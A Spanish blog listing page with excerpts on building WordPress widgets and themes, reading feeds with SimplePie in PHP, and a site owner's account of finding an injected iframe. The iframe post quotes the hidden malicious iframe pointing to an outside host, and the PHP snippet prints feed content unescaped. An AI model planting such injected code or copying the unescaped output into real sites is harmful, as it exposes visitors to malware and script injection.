Cómo crear un widget de wordpress.

Widget RSSSiguiendo con el manual de crear tu propio theme de wordpress, es posible que te encuentres con que quieres agregar nuevos módulos al sidebar, más conocidos como widgets.

Hay varias formas de hacer esto, por un lado, puesto y que tienes la opción de escoger entre un sidebar dinámico y otro estático, podrías escoger lo segundo y programar en php el sidebar de una sola pieza, aunque no será configurable desde el panel de administración. Otra opción es entrar al panel de administración y crear un widget de tipo texto, en el que podrías meter código html o javascript.

Pero el problema de todo esto, es que en caso de querer modificar el sidebar sin tocar el código fuente, de que algún widget de problemas, queramos hacer un backup o actualizar a una nueva versión, el mantenimiento resulta más costoso. Por ello la opción más lenta pero también más segura a largo plazo consiste en crear nuevos widgets e incorporarlos a través del panel de administración.

¿Cómo creo un nuevo widget?

Crear un nuevo widget es sencillo, sólo tienes que seguir estos pasos:

  1. Crear un archivo php para meter tu widget, por ejemplo miwidget.php
  2. Incluir y editar en ese archivo las líneas de código que te pongo mas abajo.
  3. Colocar el archivo miwidget.php en la carpeta wp-content/plugins/
  4. En el panel de administración, activar el widget en el apartado de plugins.
  5. En el panel de administración, arrastrar el widget al sidebar en el apartado de design->widgets.

Continue reading Cómo crear un widget de wordpress.

Cómo crear un theme de wordpress – Parte 1

Aunque normalmente y dada mi falta de originalidad para ciertos temas (además de mi mente excesivamente analítica) prefiero coger un theme gratuito y editarlo a mi gusto, me he decidido por investigar cómo crear desde 0 (bueno, desde 0,5) un theme de wordpress.

Resulta bastante sencillo y no supone un gran coste, pero para poder explicarme con más comodidad y hacer artículos menos densos prefiero hacerlo en 2 o 3 partes, de forma que separe unos temas de otros. De esta manera, pasaré a explicar cómo crear y configurar un theme y qué archivos son necesarios, los estilos que deberíamos incluir, los archivos que deberíamos editar y por último algún truco más avanzado. Empecemos.

Continue reading Cómo crear un theme de wordpress – Parte 1

Comentarios bloqueados en el Blog

Vaya, parece que la última vez que toqué algo en la configuración debí colocar un filtro antispam demasiado agresivo, o eso o el akismet se ha vuelto loco, sea como fuere me acabo de dar cuenta que tenía muchos comentarios en espera de moderación.

Cagüen! Ya decía yo que ultimamente no paraban de subir las visitas pero no había comentarios!!!

Ya estan publicados los últimos, mañana veré si arreglo el filtro.

Actualización: Parece que estaba activa la opción de que la gente debía tener aprobado un comentario antes de que se publiquen el resto.

Leer feed del Blog desde PHP

No hace mucho ya comenté que había decidido tener un blogroll más dinámico accediendo a los feeds de los blogs enlazados e incluyendo sus últimas entradas, como resultado obtuve el módulo del panel lateral titulado “Cosas que leo“.

Pero ayer necesitaba de nuevo acceder al feed, en este caso, de mi propio blog, y en vez de utilizar un plugin de wordpress y editarlo, decidí que lo mejor era acceder directamente al xml y leerlo, supuse que tendría que crear una especie de librería ya que hay distintos formatos de feed (Atom 0.3, Atom 1.0, RSS 1.0, RSS 2.0, …) pero por suerte, encontré en un Foro un chico que deseaba hacer lo mismo y tras conseguirlo mostró el código.

Tras fijarme un poco en su código fuente, me di cuenta de que utilizaba unas funciones que no pertenecen a php y llamaba a una librería con un nombre curioso, “SimplePie“, buscamos en Google y resulta ser una librería que me quita todo el trabajo que yo creía iba a tener que hacer (esto del php… es la caña).

Y voilá, con esa librería así de sencillo resulta acceder a un feed y leer sus entradas:

function pintarFeedBlog($urlRSS){
include_once('./simplepie.inc');
$feed = new SimplePie();
	 
if ($urlRSS !== ''):
	$feed->set_feed_url($urlRSS);
	$success = $feed->init();
	$feed->handle_content_type();
	if ($success):
		foreach($feed->get_items() as $item):
			echo '<a href="' . $item->get_permalink() . '">';
			echo $item->get_title() . '</a>&nbsp;';
			echo $item->get_date('j M Y, g:i a') . '<br />';
			echo $item->get_content();
		endforeach;
	endif;
endif;
}

Para quien le interese, os dejo un enlace a la página de descarga de SimplePie y a su documentación, con todas las funciones posibles.

Inyección de iframe en WordPress

Este lunes me percaté de que el Blog tenía algún problema, concretamente, tardaba mucho en cargar e incluso a veces provocaba el cierre de mi explorador Firefox 3.0. Me di cuenta de que al entrar a mi Blog Firefox se ponía a realizar peticiones a la página de MSN y tras revisar si era mi PC, mi versión de Firefox, algún complemento o el último plugin que instalé hace poco mas de una semana, conseguí encontrar un iframe bastante bien oculto al final del body:

<iframe src='http://onlinestat.cn/cgi-bin/index.cgi?qwopl'
width='1' height='1' style='visibility: hidden;'>

Buscando por Google me encuentro con que Anieto ya se encontró un problema parecido hace unos meses, aunque tras leer por los foros de ayuda de wordpress veo que el problema era distinto (el iframe se escondía en un trozo de código diferente).

Continue reading Inyección de iframe en WordPress

Adiós al Blogroll

He instalado un nuevo plugin que me permite listar una serie de Blogs y, a través de su feed, las últimas entradas publicadas en ellos. Este plugin supera con creces el antiguo apartado de BlogRoll típico de cada blog, en que se listaban algunas páginas web (mayoritariamente blogs) de conocidos, amigos, interés o pertenecientes a una red de blogs.

Con el plugin el sistema RSS cobra mucho más sentido, la información mostrada está siempre actualizada y le resulta mucho más útil al usuario ya que, no sólo puede conocer un nuevo blog que pueda ser de su interés, sino que además puede ver cuáles han sido los últimos artículos publicados (sus títulos).

Continue reading Adiós al Blogroll